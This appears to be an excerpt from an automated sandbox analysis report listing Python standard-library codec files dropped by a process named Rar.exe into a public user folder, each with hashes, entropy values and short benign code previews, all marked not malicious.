Preview:	""" Python Character Mapping Codec kz1048 generated from 'MAPPINGS/VENDORS/MISC/KZ1048.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self, input, errors='strict'):.. return codecs.charmap_encode(input, errors, encoding_table).... def decode(self, input, errors='strict'):.. return codecs.charmap_decode(input, errors, decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input, self.errors, encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input, self.errors, decoding_table)[0]....class StreamWriter(Codec, codecs.StreamWriter):.. pass....class StreamReader(Codec, codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='kz1048',..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\latin_1.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	4.724793488479122
Encrypted:	false
SSDEEP:	24:J4OSEHV0yWJyWKMufQ2hQZUQWSJzWSJDtyWVyWg9ZKj9b1QJxFplR:J4OSJui6SJ6SJ8TKnQJxTz
MD5:	92C4D5E13FE5ABECE119AA4D0C4BE6C5
SHA1:	79E464E63E3F1728EFE318688FE2052811801E23
SHA-256:	6D5A6C46FE6675543EA3D04D9B27CCCE8E04D6DFEB376691381B62D806A5D016
SHA-512:	C95F5344128993E9E6C2BF590CE7F2CFFA9F3C384400A44C0BC3ACA71D666ED182C040EC495EA3AF83ABBD9053C705334E5F4C3F7C07F65E7031E95FDFB7A561
Malicious:	false
Reputation:	low
Preview:	""" Python 'latin-1' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....class Codec(codecs.Codec):.... # Note: Binding these as C functions will result in the class not.. # converting them to methods. This is intended... encode = codecs.latin_1_encode.. decode = codecs.latin_1_decode....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.latin_1_encode(input,self.errors)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.latin_1_decode(input,self.errors)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....class StreamConverter(StreamWriter,StreamReader):.... encode = codecs.latin_1_decode.. decode = codecs.latin_1_encode....### encodings module API..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\mac_arabic.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	37165
Entropy (8bit):	4.736863402692657
Encrypted:	false
SSDEEP:	384:RakostECDXJVf+hiOjiU6Q3DBEQ12yWQZr75CAwKC1/h:Ukost5LX2htjN6QT682PQx5PwVJ
MD5:	C269925332C46C7A774FBFCAD74F4B66
SHA1:	5F9542A16C83A7EE831F320507BD87756B398DCF
SHA-256:	F5C262F930F3B7D83466283347F8B0D7B5C7CBF18DD6FCEB4FAF93DBCD58839E
SHA-512:	5BAE57045F650E062EAEA05106F726A0C9B29409CA6CD9667338473DF8CA779BE8965C5F8BD5D87B2DDB76024794AFFC92FF98850D0D0161269133AC3B2F7825
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'VENDORS/APPLE/ARABIC.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-arabic',.. encode=Codec().encode,

C:\Users\Public\QExvbmVOb25l\Lib\encodings\mac_croatian.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13940
Entropy (8bit):	4.577897629122807
Encrypted:	false
SSDEEP:	192:wHhsuOTDvRI7ZpouhIAs2+iy2w4kN8gzeqBwHr+:tTZuhIAl+4E16ap
MD5:	C3FC8C5389BFDF1371B849C38FE1A20C
SHA1:	009654FD007C938E2FC889B64954FD139EE051E8
SHA-256:	68539CA54FFD5D96C07F3590E720D8A28009CB7CAA13E607AC3084D19DD5A19A
SHA-512:	8F81FD2106ED43E0CE34004576ED99D77FB6766EC6B757EB4F8B815742E86F90C36CDBAF19E9C3BE3D4F2B92B94695D014721C4A2D7E22312155BE7FBA1164BA
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec mac_croatian generated from 'MAPPINGS/VENDORS/APPLE/CROATIAN.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-croatian',..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\mac_cyrillic.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13761
Entropy (8bit):	4.613646718299373
Encrypted:	false
SSDEEP:	192:8HhsuOTDvRA7ZpouhIAs2+i4Xm8jLPeqBap+f:pTduhIAl+mmia1f
MD5:	69AF178D83304D0AB6260D64CC9C734F
SHA1:	AA73ADF92F5762F559B26C9858590AA750D4F25F
SHA-256:	AC11E1F54789AFF782D79FE7D6FD52183EF0F57B6AC4A0F680353FE0113F0D4D
SHA-512:	A42B7C7CD5E6AE157B1DCE131264C353DF0FF6FEA09B06D1498EF07931D94D91C48D311964E0F35D4DF893CE65BFD5F3339BB9E1541DFBE2A2FEED25A478E9F9
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec mac_cyrillic generated from 'MAPPINGS/VENDORS/APPLE/CYRILLIC.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-cyrillic',..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\mac_farsi.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	15477
Entropy (8bit):	4.803106966743048
Encrypted:	false
SSDEEP:	192:4HhsuOTDvRe7Zt+/UxcXwz1BhFouhCuMQ+iujx5zCdxeiu5iEpkHzWO0yfZBcsWR:FTPuhCuj6fHmHzp03
MD5:	46E0758A4DF808F2649BD6B7262362BA
SHA1:	A647995DAE668E9D2EDF34529CF1DDDD06AC8016
SHA-256:	B0F1FA8399AD1844EF5F07ACFCD523585AB576F411D845A008A610FF6A25AD31
SHA-512:	ABB217D00013E01B89855773B9CA728F2F0D14C9E3A7F4CC705588D458CB06E93A6FC187F87FD084F78E0668094324F9D0857D58CFC68D04A8883C8973BB6A77
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec mac_farsi generated from 'MAPPINGS/VENDORS/APPLE/FARSI.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-farsi',.. e

C:\Users\Public\QExvbmVOb25l\Lib\encodings\mac_greek.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14028
Entropy (8bit):	4.6264619578502515
Encrypted:	false
SSDEEP:	192:WlHhsuOTDvRT7ZpouhIAs2+iEh+GsHlIu/lwqBxTj/Fq3FHEj:rTCuhIAl6+GeJ/Wa3QVQ
MD5:	338143EC1BC5F5DDE251657BECC4667A
SHA1:	E68BFEAB6E5209748AC47B44505E6CA581141647
SHA-256:	4C67D361F922B611213FD8FEB9FCAAA9FF8CB57CD961F1CA1B5CF4483B1DEE66
SHA-512:	D58D0F6309FCF945FF25F7B5D825E8BAB1BFBDB40490110ADBA51B587AED5BE101A22C22CA99B9A4FF9B355F8E7980A713EA6CDD550403B37915EB79796E8A39
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec mac_greek generated from 'MAPPINGS/VENDORS/APPLE/GREEK.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-greek',.. e

C:\Users\Public\QExvbmVOb25l\Lib\encodings\mac_iceland.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13805
Entropy (8bit):	4.569004919357403
Encrypted:	false
SSDEEP:	192:+HhsuOTDvRB7ZpouhIAs2+iy2wkKY2gKPeqBamec6U6+8:LTcuhIAl+k3LFam
MD5:	8FF7EE70CFFA2B336AEE3367796C96ED
SHA1:	1F26D1C59F9A124AD334FB2BB3FC1E3D605587FA
SHA-256:	64DE55FD0EA0FE4D2512B2303DCB3D20CC57061D78D08A11D3AA6F19E1877826
SHA-512:	6D0A64EBFA6F29FD5317043F9C08D0D1F68A39B6640615B2EF093C99629479CE8562C29AEA6509E2FEB255BFE93D0E9FCE9FB1DB43F86F17FE366ADC2788FC7F
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec mac_iceland generated from 'MAPPINGS/VENDORS/APPLE/ICELAND.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-iceland',..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\mac_latin2.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14430
Entropy (8bit):	4.621572363853459
Encrypted:	false
SSDEEP:	192:S3hsuOTDvRNUrXPLouhIAs2+iDK19L4vJPeqB48:hTnuhIAlmP4EaD
MD5:	BAF2B9E09D011F78EA36ED2CC5ED22FD
SHA1:	77B62918E1FAFD837EEE086C552265384BB506B4
SHA-256:	74C9045009FABFFA3E81B5B41D97A85860BA42D109DB6673A276EA8BA9B59E56
SHA-512:	5FB69F8A5FB424B7872B3872CB75B3B538A35533BFE8F8AFFEC44D82B372C866D1841B2568680ACB954CEB696A92EE3091DC06F04EA89DB5651F35F5667B6DA1
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec mac_latin2 generated from 'MAPPINGS/VENDORS/MICSFT/MAC/LATIN2.TXT' with gencodec.py.....Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY...(c) Copyright 2000 Guido van Rossum....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(C

C:\Users\Public\QExvbmVOb25l\Lib\encodings\mac_roman.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13787
Entropy (8bit):	4.580644681215749
Encrypted:	false
SSDEEP:	192:wHhsuOTDvR27ZpouhIAs2+iy2w4KY2gKPeqBaoG5:tT/uhIAl+43LFaW
MD5:	1F99EDC6D4A3BA200295364C52D6038D
SHA1:	8FD1FF1EEC2F74907935621572360E7E53FE7038
SHA-256:	6BF6FDE10F2350232DE5EE47D27CAE885362602443B59A924DE8EB6998B18BB2
SHA-512:	2924BFF1C570128D57711F91CE1A87B5D156A24144FA3FEBDDDF6C9BB7B82570FB1F9B9FB1C5D23CD9625BF5568F42B718DB3A432F35B47DFF9E72FAE199EA56
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec mac_roman generated from 'MAPPINGS/VENDORS/APPLE/ROMAN.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-roman',.. e

C:\Users\Public\QExvbmVOb25l\Lib\encodings\mac_romanian.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13968
Entropy (8bit):	4.599704767840293
Encrypted:	false
SSDEEP:	192:FqHhsuOTDvR+7ZpouhIAs2+iy2w4kyYpDgKPeqBaj5:FHTvuhIAl+4cqFaI
MD5:	425337635E74A8B98CD770F43848AF18
SHA1:	C0F5A92D564177C49E76471117E4B521FD52DF17
SHA-256:	1DE13F2703A62479C4312F9A39514C7691CF7F737958B3915AF395A53A596183
SHA-512:	853EC8BEB168F69C36AEA83AE221AEADE920DD293928B6F9F61F8938955DF3C709169424D93F49EE05CE2C1AD487CE925808CB136CA91C5022BAD6404008AF6A
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec mac_romanian generated from 'MAPPINGS/VENDORS/APPLE/ROMANIAN.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-romanian',..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\mac_turkish.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13820
Entropy (8bit):	4.579994522132136
Encrypted:	false
SSDEEP:	192:yHhsuOTDvRT7ZpouhIAs2+iy2w4KY2gKPeqB9NGc:/TquhIAl+43LFal
MD5:	1C214A3F28D2D23CC7FDED7A387585A0
SHA1:	B40E5DA5FD44499B161BD2649A6258C9A968D5D5
SHA-256:	E7F9E6C9F92513C69754AEF1D7AB235B09E9EEADBBCED4C86DF6E2AA2D06A1EF
SHA-512:	58C6B56938D709AFC4E756C2F0CC40812724B963B118CE5E1CA84798DFD17F9E324AC8F5B68FA84FE883E91CBEA8E7FC4BBE32EAE175F1B55072FAAFA7F7397A
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec mac_turkish generated from 'MAPPINGS/VENDORS/APPLE/TURKISH.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='mac-turkish',..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\mbcs.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1258
Entropy (8bit):	4.753222127608113
Encrypted:	false
SSDEEP:	24:JwEFOXxVaniSdZSHvcGWQvnNq1I5atMufnb+s0ktzE9ZKj94JxFplR:JwEWxVaniSvIvdvNq1I5aCuzbztzETK2
MD5:	0D4DEB48618561417DDE714ACF399AA3
SHA1:	F617D8FC1B17AEC713947CDEE9BA302B4B2E71B1
SHA-256:	B00887A6D93C97D320CBB1C3379BD7C6DE767CCFC34ED13442891E06CC62F148
SHA-512:	722C9182DEAF8A8A65550EF86F967A559105BE6EB61C9FB3244521D51649B8A2B901E911A28FBB0CC42F1E680ACD0FC64B475E53DEE921287010EE112D982630
Malicious:	false
Reputation:	low
Preview:	""" Python 'mbcs' Codec for Windows......Cloned by Mark Hammond (mhammond@skippinet.com.au) from ascii.py,..which was written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..# Import them explicitly to cause an ImportError..# on non-Windows systems..from codecs import mbcs_encode, mbcs_decode..# for IncrementalDecoder, IncrementalEncoder, .....import codecs....### Codec APIs....encode = mbcs_encode....def decode(input, errors='strict'):.. return mbcs_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return mbcs_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = mbcs_decode....class StreamWriter(codecs.StreamWriter):.. encode = mbcs_encode....class StreamReader(codecs.StreamReader):.. decode = mbcs_decode....### encodings module API....def getregentry():.. return codecs

C:\Users\Public\QExvbmVOb25l\Lib\encodings\oem.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1060
Entropy (8bit):	4.538507695911449
Encrypted:	false
SSDEEP:	24:JkZSHvcGW6pjvneEq1IhhatMufko3b+00kwWzu9ZKj9wJxFplR:JSIvvBvPq1IhhaCu8M1zPzuTKiJxTz
MD5:	5163EF7B87B6DEE11BC7914E2AB1FF8E
SHA1:	92EB877FD4F77A40FC6745717139D4E335670613
SHA-256:	991D1FD2F4B815943EAE7F7BFA9F87E2DE980ACB08932BEA3258FB034902A15F
SHA-512:	99458C11DB86287A818176588DEBD76AD18401557B7D49F01FCFA85C917947CDADC310DEF539434824997922CB24005853751920EAE103B0DB04A83AB3A49E46
Malicious:	false
Reputation:	low
Preview:	""" Python 'oem' Codec for Windows...."""..# Import them explicitly to cause an ImportError..# on non-Windows systems..from codecs import oem_encode, oem_decode..# for IncrementalDecoder, IncrementalEncoder, .....import codecs....### Codec APIs....encode = oem_encode....def decode(input, errors='strict'):.. return oem_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return oem_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = oem_decode....class StreamWriter(codecs.StreamWriter):.. encode = oem_encode....class StreamReader(codecs.StreamReader):.. decode = oem_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='oem',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreade

C:\Users\Public\QExvbmVOb25l\Lib\encodings\palmos.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13827
Entropy (8bit):	4.583791210166393
Encrypted:	false
SSDEEP:	192:7hsuOTDvR1UrXPLouhIAs2+iXIcDCYBZt6CJTd12:mTDuhIAlX9Zt680
MD5:	3D512E1AB4D97E95DCEE526F991E685F
SHA1:	0349C9649CC54002699DD48E80DA09DDC21F9432
SHA-256:	C9E5D71C1FA128602E2D10E9BED0B271132DF349290F4465CFCA9D5DAA5BA86C
SHA-512:	DB6CE7BF928D829175D54328A6A37F1A8B691B04CEF1C76CE0C98B6B2C21959DF7BCA822416BFF39C2530E93F8B15CCB55E480FD1187C6258734923A10CF9878
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec for PalmOS 3.5.....Written by Sjoerd Mullender (sjoerd@acm.org); based on iso8859_15.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.. def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='palmos',..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\ptcp154.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14327
Entropy (8bit):	4.653952382312946
Encrypted:	false
SSDEEP:	192:63hsuOTDvRmUrXPLouhIAs2+iRQCzJHDCYbtlqtEDp+/:ZTsuhIAlXzJHftlqtEo/
MD5:	6EE7970BA64A9E17B3246A28C7CECD28
SHA1:	6B56118465C3E53A7E6C0BECE694E3643B485FC0
SHA-256:	F3BDA3C1415D37DD1C314E3F474529913F36F7021279D82DED0D11154EED55F2
SHA-512:	FAA196E1B4CCEEB771F9EC19E528696B35EAD5AC6CF1EF53DA092F75DB701FB59DBBA7FACEF3F169BC4D6DBF9336D250E0F4B9DFEE9EF2DCAD32C0FAD31C8A93
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec generated from 'PTCP154.txt' with gencodec.py.....Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY...(c) Copyright 2000 Guido van Rossum....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\punycode.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7120
Entropy (8bit):	4.519199483696464
Encrypted:	false
SSDEEP:	192:l3Dt9EqNFDPf3rBEX2M+4lCQ57+K6AWujvRI3:lRSO/SLV5SZ
MD5:	DB14BE3F7A2ADCBCC07E2A32AD0A7198
SHA1:	A4F5C43558E47C3F89EB807FEFB2F49119D51B75
SHA-256:	823D1424AFA9508EA425F667F787567C80A6A28AE9742C66AA90A829ACC19748
SHA-512:	5D572DF2302FF9F74BB4E5F884F8057CDEDFB7BC6C53E82809627BD982104CB42A595B3001C8B65E5C087E94CBEDBC088951ED0EBF0D3AE3C4D88823F3C89BA6
Malicious:	false
Reputation:	low
Preview:	""" Codec for the Punicode encoding, as specified in RFC 3492....Written by Martin v. L.wis..."""....import codecs....##################### Encoding #####################################....def segregate(str):.. """3.1 Basic code point segregation""".. base = bytearray().. extended = set().. for c in str:.. if ord(c) < 128:.. base.append(ord(c)).. else:.. extended.add(c).. extended = sorted(extended).. return bytes(base), extended....def selective_len(str, max):.. """Return the length of str, considering only characters below max.""".. res = 0.. for c in str:.. if ord(c) < max:.. res += 1.. return res....def selective_find(str, char, index, pos):.. """Return a pair (index, pos), indicating the next occurrence of.. char in str. index is the position of the character considering.. only ordinals up to and including char, and pos is the position in.. the full string. index/pos is the starting p

C:\Users\Public\QExvbmVOb25l\Lib\encodings\quopri_codec.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1581
Entropy (8bit):	4.656023184812778
Encrypted:	false
SSDEEP:	48:5UeC1AIc1eq1AIrZ1+A1+0uwY+vIvBTKXgCJxHjH:5Uj7c1P7rZdBu6AJTKVrH
MD5:	096A80038FB883522A68E9E6C434C6A6
SHA1:	3FAFAD17359B000B8A417446E15D69EEE44A10B2
SHA-256:	4BF9A405B6F2359E5B931E0D9FB9BD9609B013688CE2E58AEBBD9BFCB119A356
SHA-512:	8088AE700A1C85C55BA10FE47EEC68193497DDC5145069C48D258604273F284F46A42D5F83D43D826A2C11CB1E71692A0D4D15005D63800F072DD883BA7890BB
Malicious:	false
Reputation:	low
